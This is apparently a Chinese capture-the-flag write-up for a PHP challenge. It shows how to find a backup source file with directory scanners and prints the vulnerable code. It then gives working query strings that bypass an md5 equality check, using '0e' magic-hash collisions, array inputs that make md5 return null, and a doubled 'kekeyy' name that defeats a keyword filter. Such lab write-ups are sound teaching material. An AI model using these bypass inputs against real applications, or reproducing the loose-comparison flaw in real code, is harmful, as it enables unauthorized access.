解题要点
-
使用御剑、dirmap 或者 dirsearch 等扫描工具,扫除备份文件所在位置
-
打开备份文件,代码如下:
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
代码含义:
md5加密后,key1==key2,同时保证原来的key1!=key2
如何满足条件
- PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0
- md5无法处理数组,会把数组变为 null
如何构造条件
QNKCDZO
和240610708
在md5加密后,满足上述第一点的条件- 构造
?kekeyy1[]=1&kekeyy2[]=2
,使NULL=NULL,但是两个参数本身并不相等,,满足上述第二点的条件
两种构造参数的方法均可获得flag:
/?kekeyy1=QNKCDZO&kekeyy2=240610708
/?kekeyy1[]=1&kekeyy2[]=2
使用参数 ?kekeyy 是因为php代码中有一个 replace 将 key 替换为空,所以构造 ?kekeyy 绕过